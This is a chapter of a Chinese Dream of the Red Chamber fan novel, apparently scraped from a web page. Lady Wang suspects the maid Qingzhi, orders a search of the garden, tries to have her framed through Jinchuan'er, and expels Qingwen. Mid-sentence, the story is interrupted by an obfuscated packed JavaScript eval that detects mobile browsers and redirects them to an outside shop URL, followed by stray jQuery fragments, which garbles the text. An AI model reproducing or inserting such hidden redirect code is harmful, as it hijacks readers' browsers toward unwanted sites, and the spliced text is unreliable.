56.暗流涌夫人起疑,春宫计钏儿伏祸

作品:《清芷伴玉[红楼GL]

    王夫人自那日被黛玉当众婉拒了王府荷花宴的邀约后,心头便越发憋闷。黛玉的态度,一次比一次强硬,一次比一次有章法。这绝不是一个养在深闺的孤女能有的手腕和心志。


    她独坐佛堂,手指无意识地捻着念珠,目光冰冷。思绪如纺车上的线,一圈圈抽拉,最终都缠向了一个人——清芷。


    这个丫头,是老太太当初怜惜黛玉无人贴心伺候,亲自从自己身边拨过去的。当时只觉她模样齐整,行事也还算稳当。可自从她到了黛玉身边,黛玉便一天天变了。从扬州回来后,那变化更是翻天覆地。素日里那些离经叛道的念头,那些抛头露面的筹划,还有那日益难以掌控的倔强……桩桩件件,似乎都绕不开这个清芷的影子。


    王夫人忽然想起很久以前,似乎是有过那么一僧一道,在救助宝玉时说过一句谶语似的疯话,提及清芷是个什么“异世之魂”,或吉或凶,难料难测。当时只是担心宝玉,未及深想。如今细想,那清芷的来历……可不就是个说不清道不明的?她是老太太从南边带回来的,身世模糊,只说是父母双亡的孤女,可那通身的气派,偶尔流露的见识谈吐,哪里像个寻常丫鬟?


    “异世之魂……”王夫人捻珠的手指倏地停住。难道真是这丫头,带了什么歪门邪道的东西,蛊惑了黛玉的心智?


    这个念头一旦产生,便如毒蛇般盘踞心头,再也挥之不去。她越想越觉得是这么回事。黛玉从前虽也清高孤拐,但对长辈、对家族终究存着敬畏依赖。可如今呢?为了那个什么劳什子善堂,顶撞舅母,无视家族利益,连王府的婚事都敢推三阻四!这绝不是她那个知书达理的外甥女能做出来的事,定是有人在背后撺掇!


    这个人,只能是清芷。


    必须把这丫头从黛玉身边弄走!


    可怎么弄?她是老太太给的人,无凭无据,贸然发落,老太太那里不好交代,黛玉更会激烈反弹,反而可能把事情闹大,传到王府耳朵里也不好看。


    王夫人沉吟着,目光在佛龛前跳跃的烛火上凝定。须得有个名正言顺的由头……


    几日后,一个偶然的机会,王夫人从周瑞家的口中,听说园子里近来有些“不像”。说是夜里常有小丫头小厮们聚赌吃酒,还有些不堪的闲话传出来,有婆子提到,在哪个丫鬟屋里见过“不干净”的物件儿。


    “这还了得!”王夫人顿时沉了脸,将手中茶盏重重一搁,“大观园是什么地方?是娘娘省亲的别墅,是姑娘们清净居住的所在!竟让这些乌七八糟的东西污了去!传我的话,明日卯时正,让园子里所有管事嬷嬷、各房大丫头到议事厅前集合,我要亲自查检!各人屋里都要细细看过,凡有违禁之物,一概不许放过!尤其是那些心术不正、带坏主子的,更要严查!”


    周瑞家的心领神会,连忙应下,自去安排。


    消息传到潇湘馆时,黛玉正与清芷核对方杞新送来的善堂课业安排。闻听此事,两人俱是一怔。


    “查检?”黛玉蹙眉,“好端端的,怎会突然要查检各人屋子?还是太太亲自来?”


    清芷心中警铃大作。这阵仗,这时机,绝非偶然。她立刻联想到近日王夫人看自己时那愈发冷厉的眼神。“只怕……是冲着我来的。”她低声道。


    黛玉脸色微变,握住她的手:“你屋里可有什么不妥之物?”


    清芷快速在脑中过了一遍。她的东西极其简单,除了几身衣裳、黛玉赏的几件寻常首饰、一些零碎银钱和针线,便是几本黛玉看过的寻常诗集、字帖,还有她偷偷记录的一些关于善堂的设想、简易表格草稿。这些草稿虽然思路与这时代不同,但上面并无什么惊世骇俗的言论,只是些管理方法。


    “并无什么出格的。只是……”清芷犹豫了一下,“有些我记的关于善堂的杂想,与寻常账目写法不同,怕被人看见,问起来不好解释。”


    “立刻烧了。”黛玉果断道,“一点纸灰都不能留。其他的,不过是丫鬟的寻常物事,她们查不出什么。”


    清芷点头,当下便去自己那间小小的下房,将那些草稿尽数取出,就在屋角的炭盆里点了,看着它们化为灰烬,又用火箸细细拨散。做完这些,她环视这间简陋却整洁的小屋,心中仍有些不安。王夫人既然动了心思,恐怕不会轻易罢休。


    果然,次日天未亮,整个大观园便笼罩在一片肃杀紧张的气氛中。卯时正,各房有头脸的丫头婆子都被叫到了议事厅前的空地上,黑压压站了一片,鸦雀无声。王夫人端坐厅内,面沉如水,周瑞家的、林之孝家的等几个得力陪房侍立两旁,如鹰视狼顾。


    王夫人并未多言,只挥了挥手。周瑞家的便站出来,高声宣布了查检的规矩:各人回自己屋里候着,由林之孝家的带着几个粗使婆子,一间间查过去,凡有“赌具、酒器、外传的戏本野史、乃至有伤风化的书画物件”,一律登记没收,相关人等听候发落。


    众人惴惴散去。清芷回到自己屋里,静静坐着。她能听到远处传来婆子们粗声大气的吆喝、翻箱倒柜的声响,以及偶尔一两声丫鬟的惊叫或低泣。


    约莫过了小半个时辰,脚步声在她门外停住。门被推开,林之孝家的带着两个膀大腰圆的婆子走了进来。


    “清芷姑娘,太太吩咐,各处都要查过,得罪了。”林之孝家的脸上没什么表情,语气倒也还算客气。毕竟清芷是老太太给黛玉的人,算是有些体面的大丫鬟。


    清芷起身,让到一边:“妈妈请便。”


    两个婆子立刻开始动手。她们的动作远比对其他小丫头屋里要仔细得多,几乎可称得上是“掘地三尺”。箱笼被打开,衣物被一件件抖开细看,甚至床褥都被掀开,枕头也被拆开查验。林之孝家的则站在一旁,目光锐利地扫视着屋内的每一个角落。


    清芷的心渐渐提了起来。她自问屋里绝无违禁之物,可看这架势,对方似乎不找出点什么绝不罢休。


    忽然,一个正在翻检她妆奁匣子的婆子“咦”了一声,动作顿了顿。那妆奁是黛玉赏的旧物,不大,里面只放着几支素银簪子、一对耳坠,并一个小小的、上了锁的夹层——那是清芷用来放自己攒的几块碎银子和黛玉偶尔给她应急的小银锞子的。


    那婆子指着那上了小铜锁的夹层,看向林之孝家的。


    林之孝家的看向清芷:“清芷姑娘,这夹层里是什么?可否打开看看?”


    清芷心中一松,坦然道:“不过是些散碎银子,钥匙在我身上。”说着,便从腰间荷包里取出一枚小小的铜钥匙递过去。


    婆子打开夹层,里面果然是几块碎银和两个小银锞子,除此之外,空无一物。林之孝家的看了一眼,点点头,示意婆子继续。


    搜查持续了将近一盏茶的时间,几乎将这小屋翻了个底朝天,却一无所获。林之孝家的眉头几不可察地皱了皱,目光在清芷平静无波的脸上停留片刻,终于挥手道:“走吧,去下一间。”


    婆子们这才住手,退了出去。清芷看着被翻得凌乱不堪的屋子,缓缓吐出一口浊气,手心已是一片湿冷。她知道,这只是第一关。


    果然,傍晚时分,王夫人听罢林之孝家的回禀,脸色更加阴沉。她不相信清芷屋里会那么干净!定是那丫头狡猾,提前藏匿或销毁了!


    就在这时,帘子一掀,金钏儿端着新沏的茶走了进来。她是王夫人身边的大丫鬟,素日里也算得脸。她将茶盏轻轻放在王夫人手边,垂手退到一旁,目光却闪烁不定,似有心事。


    王夫人正心烦,瞥了她一眼:“你鬼鬼祟祟做什么?”


    金钏儿吓得一哆嗦,慌忙跪下:“太太息怒!奴婢……奴婢只是想着白日里查检的事……”她咬了咬嘴唇,像是下了很大决心,低声道,“奴婢……奴婢之前好像偶然看见过,清芷姐姐她……她好像偷偷藏着什么东西,用一块青布包着,神神秘秘的,也不知是不是……”


    这话说得含糊其辞,引人遐想。王夫人眼睛一亮:“你看真切了?是什么东西?”


    “奴婢……奴婢没看清,只恍惚见着像是……像是书本册子一类,但绝不是姑娘们常看的正经书。”金钏儿头垂得更低,“奴婢也是怕清芷姐姐年纪轻,不知轻重,收了什么不该收的东西,带坏了林姑娘,才……才敢多嘴。”


    王夫人盯着金钏儿看了半晌,直看得她浑身发抖,才缓缓道:“你倒是个有心的。”她沉吟片刻,心中已有了计较,“你既看见了,便该弄个清楚。这样,你想个法子,去探探虚实。若真有那些乌七八糟的东西……”她声音冷了下去,“你知道该怎么做。”


    金钏儿脸色一白,似乎没料到太太会把这事交给她,但迎着王夫人不容置疑的目光,只能硬着头皮应下:“是……奴婢明白。”


    是夜,月黑风高。大观园内巡查的婆子刚过了一轮,各处渐渐安静下来。一条纤细的身影,借着廊下灯笼昏暗的光,鬼鬼祟祟地摸到了丫鬟们聚居的后院,悄无声息地溜到了清芷那间小屋的窗外。


    正是金钏儿。她手里紧紧攥着一个用油纸包得严严实实的物件,心跳如鼓。太太的意思再明白不过,是要她“栽赃”,将这包东西塞进清芷屋里,明日查出来,便是铁证如山。至于这里面是什么,金钏儿手指颤抖着,几乎不敢去想。太太只说,是“能让那丫头永无翻身之地”的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17181909|193921||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    东西。


    她屏住呼吸,听了听屋内毫无动静,想来清芷今夜是在黛玉房中上夜。她小心翼翼地用一根薄铁片拨开了那扇不甚严实的旧木窗的插销,轻轻推开一条缝隙。


    就在她准备将手中油纸包塞进去的刹那,身后忽然传来一声轻微的咳嗽!


    金钏儿魂飞魄散,猛地回头,只见月光下,清芷不知何时竟站在她身后不远处,正静静地看着她,眼神清亮,并无半分睡意。


    “金钏儿姐姐,这么晚了,在我窗外做什么?”清芷的声音不高,却在这寂静的夜里清晰得令人心慌。


    “我……我……”金钏儿手一抖,那油纸包“啪”地一声掉在地上。她慌忙想捡,清芷却已一步上前,弯腰拾了起来。


    入手沉甸甸,油纸包得方正。清芷在指尖微微一捻,隔着油纸,能感觉到里面是类似书册的硬物。她心中冷笑,面上却不显,只看着面如死灰的金钏儿:“姐姐这是给我送东西?何不光明正大些?”


    “不……不是……是太太……”金钏儿语无伦次,意识到自己说漏了嘴,更是吓得瘫软在地,涕泪横流,“清芷妹妹,你饶了我吧!是太太让我来的!我……我也是没办法啊!”


    清芷蹲下身,捡起那个油纸包,却并未打开,只盯着金钏儿:“太太让你来放什么?”


    金钏儿拼命摇头,哭道:“我不知道……我真的不知道!太太只让我塞到你屋里,说明日查出来你就完了……妹妹,你信我,我只是奉命行事,我什么都不知道啊!”


    清芷看着她惊惧绝望的模样,心中并无多少同情。王夫人果然容不下她了,甚至不惜用这种下作手段。这包里的东西,不用看也能猜到七八分,无非是些淫邪书画,一旦坐实,莫说她一个丫鬟,便是黛玉,恐怕也要受牵连,名声扫地。


    好狠毒的心肠!


    她将那油纸包拿在手中掂了掂,忽然凑近金钏儿,压低声音道:“姐姐,今夜之事,你知我知。这包东西,我不会打开,也不会让它出现在我屋里。但若明日,太太问起,或是再有类似的事情发生……”她语气转冷,“姐姐猜猜,是你这个奉命行事的棋子先被弃掉,还是我先倒霉?”


    金钏儿浑身一颤,惊恐地看着她。


    “回去告诉太太,就说我屋里干净得很,你没能得手。至于这包东西……”清芷站起身,“还请姐姐拿回去吧。”


    说完,把布包塞给瘫软在地的金钏儿,转身回了自己的小屋,关上了门。


    窗外,月光惨淡。金钏儿呆了半晌,才连滚爬爬地起身,仓皇逃离。


    第二日,王夫人等了一上午,也未等到预期的“好消息”,反而见金钏儿神色恍惚,做事屡屡出错,问她昨夜之事,只支支吾吾说清芷防范甚严,未能得手。王夫人心头火起,又疑心金钏儿是否办事不力或走漏了风声,看她便越发不顺眼。


    恰逢此时,宝玉屋里传来消息,说是晴雯病了,咳得厉害。王夫人正无处发泄的邪火,立刻找到了出口。她早就看晴雯那副风流灵巧、眉眼间颇有几分黛玉影子的模样不顺眼,更嫌她平日里掐尖要强,勾引宝玉不上进。如今正好借着由头清理!


    “病了?我看是装病偷懒,狐媚子样!”王夫人冷笑道,“既是病了,就别在宝二爷屋里过了病气!叫人立刻撵出去!她那些花红柳绿的衣裳、妖妖调调的东西,一件也不许带!只让她穿着贴身衣服,立刻滚出园子!”


    命令一下,如雷霆骤降。可怜晴雯正病得昏沉,便被几个凶神恶煞的婆子从炕上拖下来,胡乱裹了件旧衣裳,架着便扔出了园子后角门,连件像样的行李都没让拿。


    消息传到潇湘馆时,黛玉正与清芷商议如何应对王夫人接下来的手段。闻听晴雯被如此粗暴地撵走,两人俱是震惊。


    “晴雯那丫头,虽然性子烈些,却没什么坏心,女红更是拔尖儿的。”黛玉蹙眉,“如今病着被撵出去,无依无靠,岂不是死路一条?”


    清芷心中一动:“姑娘,善堂正缺女红教习!顾嬷嬷找的那位宫中出来的绣娘,要价高,且只能偶尔来指点。晴雯的针线功夫是老太太都夸过的,若我们能救下她,聘她去善堂,岂不是两全其美?既救了人,又得了助力,而且……”她压低声音,“晴雯是老太太赏识过的人,太太此举本就过分,我们救了她,也是全了老太太的颜面,或许能让太太有所顾忌。”


    黛玉眼睛一亮:“不错!这是个机会!只是……晴雯被撵去了哪里?我们得立刻找到她!”


    “我这就去打听!”清芷转身便走。她知道,时间就是晴雯的命,也是她们反击王夫人、壮大自身力量的一步险棋。